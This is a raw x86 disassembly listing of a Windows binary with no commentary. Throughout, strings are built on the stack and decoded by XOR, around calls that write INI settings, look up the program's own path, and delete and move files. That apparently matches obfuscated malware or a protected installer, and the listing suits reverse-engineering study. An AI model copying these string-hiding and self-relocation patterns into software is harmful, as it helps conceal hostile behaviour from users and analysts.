movaps xmmword [ebp - 0xa60], xmm1
call fcn.00460740
lea eax, [ebp - 0x2b5c]
mov dword [ebp - 0x2b5c], edi
push eax
mov ecx, 0x67d820
call fcn.00460bc0
mov edi, dword [ebp - 0x2b5c]
jmp 0x456183
mov dword [ebp - 0x910], 0xa06ba0ed
lea ecx, [ebp - 0x910]
mov dword [ebp - 0x90c], 0xc56a86de
lea edx, [ecx + 1]
mov dword [ebp - 0x908], 0x877f8260
mov dword [ebp - 0x904], 0x961c3337
mov dword [ebp - 0x850], 0x8e528edf
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x910]
movaps xmmword [ebp - 0x910], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4563e7
sub ecx, edx
lea eax, [ebp - 0x910]
push ecx
push eax
lea ecx, [ebp - 0x1358]
call fcn.0045f3d0
mov dword [ebp - 0x850], 0x8e528edf
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
cmp edi, 2
jne 0x4565ec
mov dword [ebp - 0x900], 0x8e1ccb80
lea ecx, [ebp - 0x900]
mov dword [ebp - 0x8fc], 0xc56a86ee
lea edx, [ecx + 1]
mov dword [ebp - 0x8f8], 0x877f8260
mov dword [ebp - 0x8f4], 0x961c3337
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x900]
movaps xmmword [ebp - 0x900], xmm1
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456480
sub ecx, edx
lea eax, [ebp - 0x900]
push ecx
push eax
lea ecx, [ebp - 0x8e8]
call fcn.0045f3d0
mov dword [ebp - 0xdf0], 0x8e338e93
lea eax, [ebp - 0x430]
mov dword [ebp - 0xdec], 0xc50d8680
mov dword [ebp - 0xde8], 0x871e8215
mov dword [ebp - 0xde4], 0x96793350
mov dword [ebp - 0xde0], 0x6d4346e1
mov dword [ebp - 0xddc], 0xb36bf090
mov dword [ebp - 0xdd8], 0x24a76342
mov dword [ebp - 0xdd4], 0x97ad3619
movaps xmm1, xmmword [ebp - 0xdf0]
mov dword [ebp - 0x860], 0x8e528edf
mov dword [ebp - 0x85c], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xdf0], xmm1
movaps xmm1, xmmword [ebp - 0xde0]
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xde0], xmm1
lea eax, [ebp - 0xdf0]
mov dword [ebp - 0xa50], 0x8e3d8e9c
mov dword [ebp - 0xa4c], 0xc50c8680
mov dword [ebp - 0xa48], 0x87188209
mov dword [ebp - 0xa44], 0x961c3337
movaps xmm1, xmmword [ebp - 0xa50]
mov dword [ebp - 0x850], 0x8e528edf
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
pxor xmm1, xmmword [ebp - 0x850]
push 0x66ee48
push eax
movaps xmmword [ebp - 0xa50], xmm1
lea eax, [ebp - 0xa50]
jmp 0x45679a
mov dword [ebp - 0x920], 0x8e1cd880
lea ecx, [ebp - 0x920]
mov dword [ebp - 0x91c], 0xc56a86ee
lea edx, [ecx + 1]
mov dword [ebp - 0x918], 0x877f8260
mov dword [ebp - 0x914], 0x961c3337
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x920]
movaps xmmword [ebp - 0x920], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456633
sub ecx, edx
lea eax, [ebp - 0x920]
push ecx
push eax
lea ecx, [ebp - 0x8e8]
call fcn.0045f3d0
mov dword [ebp - 0xe10], 0x8e338e93
lea eax, [ebp - 0x430]
mov dword [ebp - 0xe0c], 0xc50d8680
mov dword [ebp - 0xe08], 0x871e8215
mov dword [ebp - 0xe04], 0x96793350
mov dword [ebp - 0xe00], 0x6d4346e1
mov dword [ebp - 0xdfc], 0xb36bf090
mov dword [ebp - 0xdf8], 0x24a76342
mov dword [ebp - 0xdf4], 0x97ad3619
movaps xmm1, xmmword [ebp - 0xe10]
mov dword [ebp - 0x860], 0x8e528edf
mov dword [ebp - 0x85c], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xe10], xmm1
movaps xmm1, xmmword [ebp - 0xe00]
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xe00], xmm1
lea eax, [ebp - 0xe10]
mov dword [ebp - 0x9d0], 0x8e3d8e9c
mov dword [ebp - 0x9cc], 0xc50c8680
mov dword [ebp - 0x9c8], 0x87188209
mov dword [ebp - 0x9c4], 0x961c3337
movaps xmm1, xmmword [ebp - 0x9d0]
mov dword [ebp - 0x850], 0x8e528edf
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
pxor xmm1, xmmword [ebp - 0x850]
push 0x66ee4c
push eax
movaps xmmword [ebp - 0x9d0], xmm1
lea eax, [ebp - 0x9d0]
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push eax
call esi
mov eax, dword [0x67f704]
shr eax, 5
test al, 1
je 0x45683e
mov dword [ebp - 0x940], 0xd604cf80
lea ecx, [ebp - 0x940]
mov dword [ebp - 0x93c], 0xc56a86dc
lea edx, [ecx + 1]
mov dword [ebp - 0x938], 0x877f8260
mov dword [ebp - 0x934], 0x961c3337
movaps xmm1, xmmword [ebp - 0x940]
mov dword [ebp - 0x850], 0x8e528edf
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0x940], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456822
sub ecx, edx
lea eax, [ebp - 0x940]
push ecx
push eax
lea ecx, [ebp - 0x8e8]
call fcn.0045f3d0
lea eax, [ebp - 0x1358]
push eax
push 0
lea ecx, [ebp - 0x8e8]
call fcn.0045e3c0
sub esp, 0x18
mov dword [ebp - 0xab0], 0xe036edf0
mov dword [ebp - 0xaac], 0xac0de5c3
lea eax, [ebp - 0xab0]
mov dword [ebp - 0xaa8], 0xe60df64f
mov ecx, esp
mov dword [ebp - 0xaa4], 0x961c5654
movaps xmm1, xmmword [ebp - 0xab0]
mov dword [ebp - 0x850], 0x8e528edf
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2b44], esp
push eax
movaps xmmword [ebp - 0xab0], xmm1
call fcn.0045e6c0
mov byte [ebp - 4], 4
lea eax, [ebp - 0xaa0]
sub esp, 0x18
mov dword [ebp - 0xaa0], 0xa060b8ee
mov dword [ebp - 0xa9c], 0xeb53b3df
mov ecx, esp
mov dword [ebp - 0xa98], 0xa94ab151
mov dword [ebp - 0xa94], 0x962e0005
movaps xmm1, xmmword [ebp - 0xaa0]
mov dword [ebp - 0x850], 0x8e528edf
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xaa0], xmm1
call fcn.0045e6c0
lea ecx, [ebp - 0x1370]
mov byte [ebp - 4], 3
call fcn.0044fb60
add esp, 0x30
mov byte [ebp - 4], 5
lea eax, [ebp - 0xa90]
mov dword [ebp - 0xa90], 0xb311c193
lea ecx, [ebp - 0x1370]
mov dword [ebp - 0xa8c], 0xc56ac8b8
mov dword [ebp - 0xa88], 0x877f8260
mov dword [ebp - 0xa84], 0x961c3337
movaps xmm1, xmmword [ebp - 0xa90]
mov dword [ebp - 0x850], 0x8e528edf
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
pxor xmm1, xmmword [ebp - 0x850]
push 0
push eax
movaps xmmword [ebp - 0xa90], xmm1
call fcn.0045e340
mov dword [ebp - 0x860], 0x8e528edf
mov dword [ebp - 0x85c], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
cmp eax, 0xffffffff
je 0x456aca
mov dword [ebp - 0xb00], 0xfe7ce0a9
lea ecx, [ebp - 0xb00]
mov dword [ebp - 0xafc], 0xa80de49b
lea edx, [ecx + 1]
mov dword [ebp - 0xaf8], 0xef11f44e
mov dword [ebp - 0xaf4], 0xf8324b56
mov dword [ebp - 0xaf0], 0x2343284
mov dword [ebp - 0xaec], 0xb36b9be2
mov dword [ebp - 0xae8], 0x24a76342
mov dword [ebp - 0xae4], 0x97ad3619
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xb00]
movaps xmmword [ebp - 0xb00], xmm1
movaps xmm1, xmmword [ebp - 0xaf0]
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xaf0], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456ab8
lea eax, [ebp - 0xb00]
jmp 0x456b5d
mov dword [ebp - 0xb10], 0x6d28348e
lea ecx, [ebp - 0xb20]
mov dword [ebp - 0xb0c], 0xb36bf090
lea edx, [ecx + 1]
mov dword [ebp - 0xb08], 0x24a76342
mov dword [ebp - 0xb04], 0x97ad3619
mov dword [ebp - 0xb20], 0xe930fbaf
mov dword [ebp - 0xb1c], 0xab1ca883
mov dword [ebp - 0xb18], 0xa907e308
mov dword [ebp - 0xb14], 0xe1685659
movaps xmm1, xmmword [ebp - 0xb20]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xb20], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xb10]
movaps xmmword [ebp - 0xb10], xmm1
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456b50
lea eax, [ebp - 0xb20]
sub ecx, edx
push ecx
push eax
lea ecx, [ebp - 0x978]
call fcn.0045f2a0
cmp dword [ebx + 8], 1
jne 0x456b80
mov eax, dword [ebp - 0x2b3c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.0044d800
mov dword [ebp - 0xe30], 0x8e208e8b
lea eax, [ebp - 0x430]
mov dword [ebp - 0xe2c], 0xc5298697
mov dword [ebp - 0xe28], 0x870a820f
mov dword [ebp - 0xe24], 0x96683359
mov dword [ebp - 0xe20], 0x6d4346e1
mov dword [ebp - 0xe1c], 0xb36bf090
mov dword [ebp - 0xe18], 0x24a76342
mov dword [ebp - 0xe14], 0x97ad3619
movaps xmm1, xmmword [ebp - 0xe30]
mov dword [ebp - 0x860], 0x8e528edf
mov dword [ebp - 0x85c], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xe30], xmm1
movaps xmm1, xmmword [ebp - 0xe20]
push eax
mov dword [ebp - 0x850], 0x6d4346e1
lea eax, [ebp - 0xe30]
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
pxor xmm1, xmmword [ebp - 0x850]
push 0x66ee4c
movaps xmmword [ebp - 0xe20], xmm1
mov dword [ebp - 0xa80], 0x8e068e8d
mov dword [ebp - 0xa7c], 0xc56a86ee
mov dword [ebp - 0xa78], 0x877f8260
mov dword [ebp - 0xa74], 0x961c3337
movaps xmm1, xmmword [ebp - 0xa80]
push eax
mov dword [ebp - 0x850], 0x8e528edf
lea eax, [ebp - 0xa80]
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xa80], xmm1
call esi
movzx eax, byte [0x67f6d8]
lea edx, [ebp - 0xe50]
mov edi, dword [ebp - 0x2b48]
mov ecx, 1
mov dword [ebp - 0xe50], 0xed37e69c
test edi, edi
mov dword [ebp - 0xe4c], 0xa204ef85
mov dword [ebp - 0xe48], 0xe610ee40
cmovg eax, ecx
mov dword [ebp - 0xe44], 0xb86e5653
mov ecx, 0x67d708
mov dword [ebp - 0xe40], 0x6d4368cf
mov dword [ebp - 0xe3c], 0xb36bf090
mov dword [ebp - 0xe38], 0x24a76342
mov dword [ebp - 0xe34], 0x97ad3619
movaps xmm1, xmmword [ebp - 0xe50]
mov dword [ebp - 0x860], 0x8e528edf
mov dword [ebp - 0x85c], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xe50], xmm1
movaps xmm1, xmmword [ebp - 0xe40]
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
pxor xmm1, xmmword [ebp - 0x850]
mov byte [0x67f6d8], al
movaps xmmword [ebp - 0xe40], xmm1
call fcn.00460740
push eax
call fcn.00460b10
mov dword [ebp - 0x850], 0x8e528edf
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x930], 0xef3de2f0
mov dword [ebp - 0x92c], 0xe818e38a
mov dword [ebp - 0x928], 0xf40de716
sub esp, 0x14
mov dword [ebp - 0x924], 0x96725c5e
mov esi, esp
movaps xmm1, xmmword [ebp - 0x850]
mov ecx, esi
pxor xmm1, xmmword [ebp - 0x930]
mov dword [ebp - 0x2b44], esp
mov dword [ebp - 0x2b3c], esi
push dword [ebp - 0x2b44]
movaps xmmword [ebp - 0x930], xmm1
call fcn.004611e0
lea ecx, [ebp - 0x930]
mov byte [ebp - 4], 6
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456e62
sub ecx, edx
lea eax, [ebp - 0x930]
push ecx
push eax
mov ecx, esi
call fcn.00461200
mov dword [ebp - 0x960], 0xe930fbaf
sub esp, 0x18
mov dword [ebp - 0x95c], 0xab1ca883
mov esi, esp
mov dword [ebp - 0x958], 0xa907e308
mov ecx, esi
mov dword [ebp - 0x954], 0x96715c54
mov dword [ebp - 0x850], 0x8e528edf
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x960]
mov dword [ebp - 0x2b3c], esi
push dword [ebp - 0x2b44]
movaps xmmword [ebp - 0x960], xmm1
call fcn.004611e0
lea ecx, [ebp - 0x960]
mov byte [ebp - 4], 8
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456f05
sub ecx, edx
lea eax, [ebp - 0x960]
push ecx
push eax
mov ecx, esi
call fcn.00461200
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x2240]
mov byte [ebp - 4], 5
call fcn.0044fb60
add esp, 0x30
mov byte [ebp - 4], 9
lea eax, [ebp - 0xa70]
mov dword [ebp - 0xa70], 0xdd00cb89
lea ecx, [ebp - 0x2240]
mov dword [ebp - 0xa6c], 0xf824c9a7
mov dword [ebp - 0xa68], 0x877f8260
mov dword [ebp - 0xa64], 0x961c3337
mov dword [ebp - 0x850], 0x8e528edf
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xa70]
push 0
push eax
movaps xmmword [ebp - 0xa70], xmm1
call fcn.0045e340
cmp eax, 0xffffffff
je 0x45d0a5
push 0
lea eax, [ebp - 0x1388]
push eax
lea ecx, [ebp - 0x2240]
call fcn.0045e380
cmp eax, 0xffffffff
jne 0x4571fd
push 0x104
lea eax, [ebp - 0x840]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 0xb40], 0xef3de2f0
sub esp, 0x18
mov dword [ebp - 0xb3c], 0xeb18e38a
mov esi, esp
mov dword [ebp - 0xb38], 0xf51cec05
mov ecx, esi
mov dword [ebp - 0xb34], 0xf368434e
mov dword [ebp - 0xb30], 0x4216885
mov dword [ebp - 0xb2c], 0xb36bf0fe
mov dword [ebp - 0xb28], 0x24a76342
mov dword [ebp - 0xb24], 0x97ad3619
mov dword [ebp - 0x860], 0x8e528edf
mov dword [ebp - 0x85c], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xb40]
movaps xmmword [ebp - 0xb40], xmm1
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xb30]
mov dword [ebp - 0x2b44], esp
mov dword [ebp - 0x2b3c], esi
push dword [ebp - 0x2b44]
movaps xmmword [ebp - 0xb30], xmm1
call fcn.004611e0
lea ecx, [ebp - 0xb40]
mov byte [ebp - 4], 0xa
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4570e2
sub ecx, edx
lea eax, [ebp - 0xb40]
push ecx
push eax
mov ecx, esi
call fcn.00461200
lea eax, [ebp - 0x2ce0]
mov dword [ebp - 0x2cf0], 0xe930fbaf
push eax
lea eax, [ebp - 0x2cf0]
mov dword [ebp - 0x2cec], 0xab1ca883
push eax
lea ecx, [ebp - 0x33f8]
mov dword [ebp - 0x2ce8], 0xa907e308
mov dword [ebp - 0x2ce4], 0x96715c54
call fcn.0045f460
sub esp, 0x18
mov dword [ebp - 0x950], 0xe930fbaf
mov esi, esp
mov dword [ebp - 0x94c], 0xab1ca883
mov dword [ebp - 0x948], 0xa907e308
mov ecx, esi
mov dword [ebp - 0x944], 0x96715c54
movaps xmm1, xmmword [ebp - 0x950]
mov dword [ebp - 0x850], 0x8e528edf
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2b3c], esi
push dword [ebp - 0x2b44]
movaps xmmword [ebp - 0x950], xmm1
call fcn.004611e0
lea ecx, [ebp - 0x950]
mov byte [ebp - 4], 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4571c6
sub ecx, edx
lea eax, [ebp - 0x950]
push ecx
push eax
mov ecx, esi
call fcn.00461200
mov byte [ebp - 4], 0xb
mov byte [ebp - 4], 9
call fcn.0044dbb0
mov esi, eax
add esp, 0x30
test esi, esi
jne 0x45d7dd
jmp 0x45d3aa
lea ecx, [ebp - 0x2240]
mov byte [ebp - 4], 5
call fcn.0045e570
mov dword [ebp - 0xb80], 0xed37e69c
lea edx, [ebp - 0xb80]
mov dword [ebp - 0xb7c], 0xa204ef85
mov ecx, 0x67d708
mov dword [ebp - 0xb78], 0xcb33c640
mov dword [ebp - 0xb74], 0x96321d19
mov dword [ebp - 0x850], 0x8e528edf
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xb80]
movaps xmmword [ebp - 0xb80], xmm1
call fcn.00460740
push eax
call fcn.00460b10
movzx eax, byte [0x67f6d8]
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test edi, edi
mov dword [ebp - 0xe90], 0x8e3d8e9c
mov ecx, 1
mov dword [ebp - 0xe8c], 0xc5198680
cmovg eax, ecx
mov dword [ebp - 0xe88], 0x870d8214
mov dword [ebp - 0xe84], 0x967f3342
mov dword [ebp - 0xe80], 0x6d2c4695
mov dword [ebp - 0xe7c], 0xb345f0e2
mov dword [ebp - 0xe78], 0x24cb6326
mov dword [ebp - 0xe74], 0x97ad3675
mov dword [ebp - 0x860], 0x8e528edf
mov dword [ebp - 0x85c], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xe90]
mov byte [0x67f6d8], al
lea eax, [ebp - 0x228]
push 0
push eax
movaps xmmword [ebp - 0xe90], xmm1
lea eax, [ebp - 0xe90]
movaps xmm1, xmmword [ebp - 0xe80]
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
pxor xmm1, xmmword [ebp - 0x850]
push 0x104
push eax
movaps xmmword [ebp - 0xe80], xmm1
call esi
mov dword [ebp - 0x11b0], 0x8e3d8e9c
mov dword [ebp - 0x11ac], 0xc5198680
mov dword [ebp - 0x11a8], 0x870d8214
mov dword [ebp - 0x11a4], 0x967f3342
mov dword [ebp - 0x11a0], 0x6d2c4695
mov dword [ebp - 0x119c], 0xb345f0e2
mov dword [ebp - 0x1198], 0x24cb6326
mov dword [ebp - 0x1194], 0x97833675
mov dword [ebp - 0x1190], 0x683ede21
mov dword [ebp - 0x118c], 0x52635e39
mov dword [ebp - 0x1188], 0x10dc2704
mov dword [ebp - 0x1184], 0xf6b6539b
movaps xmm1, xmmword [ebp - 0x11b0]
mov dword [ebp - 0x8a0], 0x8e528edf
mov dword [ebp - 0x89c], 0xc56a86ee
mov dword [ebp - 0x898], 0x877f8260
mov dword [ebp - 0x894], 0x961c3337
pxor xmm1, xmmword [ebp - 0x8a0]
mov dword [ebp - 0x890], 0x6d4346e1
mov dword [ebp - 0x88c], 0xb36bf090
mov dword [ebp - 0x888], 0x24a76342
mov dword [ebp - 0x884], 0x97ad3619
mov dword [ebp - 0x880], 0x685fde43
mov dword [ebp - 0x87c], 0x52635e52
mov dword [ebp - 0x878], 0x10dc2704
mov dword [ebp - 0x874], 0xf6b6539b
movaps xmmword [ebp - 0x11b0], xmm1
lea eax, [ebp - 0x638]
movaps xmm1, xmmword [ebp - 0x11a0]
pxor xmm1, xmmword [ebp - 0x890]
push 0
push eax
movaps xmmword [ebp - 0x11a0], xmm1
lea eax, [ebp - 0x11b0]
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1190]
push 0x104
push eax
movaps xmmword [ebp - 0x1190], xmm1
call esi
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4576eb
call esi
cmp eax, 2
je 0x4576eb
call esi
mov dword [ebp - 0x11e0], 0xe23bef99
mov dword [ebp - 0x11dc], 0xb14ae28b
mov dword [ebp - 0x11d8], 0xe21ba20f
mov dword [ebp - 0x11d4], 0xf368565b
mov dword [ebp - 0x11d0], 0xe2224c1
mov dword [ebp - 0x11cc], 0x931b85fb
mov dword [ebp - 0x11c8], 0x8eb2f06
mov dword [ebp - 0x11c4], 0xe5df5339
mov dword [ebp - 0x11c0], 0xb7fac2c
mov dword [ebp - 0x11bc], 0x68063a3d
mov dword [ebp - 0x11b8], 0x1ab80224
mov dword [ebp - 0x11b4], 0xf6b6539b
mov dword [ebp - 0x8a0], 0x8e528edf
mov dword [ebp - 0x89c], 0xc56a86ee
mov dword [ebp - 0x898], 0x877f8260
mov dword [ebp - 0x894], 0x961c3337
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x11e0]
movaps xmmword [ebp - 0x11e0], xmm1
mov dword [ebp - 0x890], 0x6d4346e1
mov dword [ebp - 0x88c], 0xb36bf090
mov dword [ebp - 0x888], 0x24a76342
mov dword [ebp - 0x884], 0x97ad3619
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x11d0]
movaps xmmword [ebp - 0x11d0], xmm1
mov dword [ebp - 0x880], 0x685fde43
mov dword [ebp - 0x87c], 0x52635e52
mov dword [ebp - 0x878], 0x10dc2704
mov dword [ebp - 0x874], 0xf6b6539b
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x11c0]
push eax
lea eax, [ebp - 0x11e0]
movaps xmmword [ebp - 0x11c0], xmm1
push eax
call fcn.0044b300
mov dword [ebp - 0xb90], 0xdd07cf8f
lea eax, [ebp - 0xb90]
mov dword [ebp - 0xb8c], 0xc56a86ab
mov dword [ebp - 0xb88], 0x877f8260
mov dword [ebp - 0xb84], 0x961c3337
movaps xmm1, xmmword [ebp - 0xb90]
mov dword [ebp - 0x850], 0x8e528edf
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xb90], xmm1
call fcn.005d657d
add esp, 0xc
lea ecx, [ebp - 0x1370]
call fcn.0045e570
lea ecx, [ebp - 0x8e8]
call fcn.0045e570
lea ecx, [ebp - 0x1358]
call fcn.0045e570
lea ecx, [ebp - 0x978]
call fcn.0045e570
lea ecx, [ebp - 0x1388]
call fcn.0045e570
jmp 0x45d085
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x457c26
call esi
cmp eax, 2
je 0x457c26
call esi
mov esi, eax
mov dword [ebp - 0x2028], 0xeb72e09e
lea eax, [ebp - 0x1fe8]
mov dword [ebp - 0x2024], 0xb705f49c
push eax
lea eax, [ebp - 0x2028]
mov dword [ebp - 0x2020], 0xe41ced40
push eax
lea ecx, [ebp - 0x3380]
mov dword [ebp - 0x201c], 0xf2794142
mov dword [ebp - 0x2018], 0x82b31c1
mov dword [ebp - 0x2014], 0xd209d0fe
mov dword [ebp - 0x2010], 0x4ace0821
mov dword [ebp - 0x200c], 0xe7d8167e
mov dword [ebp - 0x2008], 0x24139a63
mov dword [ebp - 0x2004], 0x20067672
mov dword [ebp - 0x2000], 0x30ae4876
mov dword [ebp - 0x1ffc], 0x93d23cf8
mov dword [ebp - 0x1ff8], 0x899ae87f
mov dword [ebp - 0x1ff4], 0x6c61c23d
mov dword [ebp - 0x1ff0], 0xe47b7d46
mov dword [ebp - 0x1fec], 0x27e39bbd
call fcn.0045f460
lea eax, [ebp - 0x2028]
mov dword [ebp - 0x8b0], 0x8e528edf
push eax
lea eax, [ebp - 0x2068]
mov dword [ebp - 0x8ac], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3378]
mov dword [ebp - 0x2068], 0x8e528edf
mov dword [ebp - 0x2064], 0xc56a86ee
mov dword [ebp - 0x8a8], 0x877f8260
mov dword [ebp - 0x8a4], 0x961c3337
mov dword [ebp - 0x2060], 0x877f8260
mov dword [ebp - 0x205c], 0x961c3337
mov dword [ebp - 0x8a0], 0x6d4346e1
mov dword [ebp - 0x89c], 0xb36bf090
mov dword [ebp - 0x2058], 0x6d4346e1
mov dword [ebp - 0x2054], 0xb36bf090
mov dword [ebp - 0x898], 0x24a76342
mov dword [ebp - 0x894], 0x97ad3619
mov dword [ebp - 0x2050], 0x24a76342
mov dword [ebp - 0x204c], 0x97ad3619
mov dword [ebp - 0x890], 0x685fde43
mov dword [ebp - 0x88c], 0x52635e52
mov dword [ebp - 0x2048], 0x685fde43
mov dword [ebp - 0x2044], 0x52635e52
mov dword [ebp - 0x888], 0x10dc2704
mov dword [ebp - 0x884], 0xf6b6539b
mov dword [ebp - 0x2040], 0x10dc2704
mov dword [ebp - 0x203c], 0xf6b6539b
mov dword [ebp - 0x880], 0xedbfc845
mov dword [ebp - 0x87c], 0x6c61c814
mov dword [ebp - 0x2038], 0xedbfc845
mov dword [ebp - 0x2034], 0x6c61c814
mov dword [ebp - 0x878], 0xe47b7d46
mov dword [ebp - 0x874], 0x27e39bbd
mov dword [ebp - 0x2030], 0xe47b7d46
mov dword [ebp - 0x202c], 0x27e39bbd
call fcn.0045f460
mov dword [ebp - 0x12e0], 0xeb72e09e
mov dword [ebp - 0x12dc], 0xb705f49c
mov dword [ebp - 0x20a8], 0xeb72e09e
mov dword [ebp - 0x20a4], 0xb705f49c
mov dword [ebp - 0x12d8], 0xe41ced40
mov dword [ebp - 0x12d4], 0xf2794142
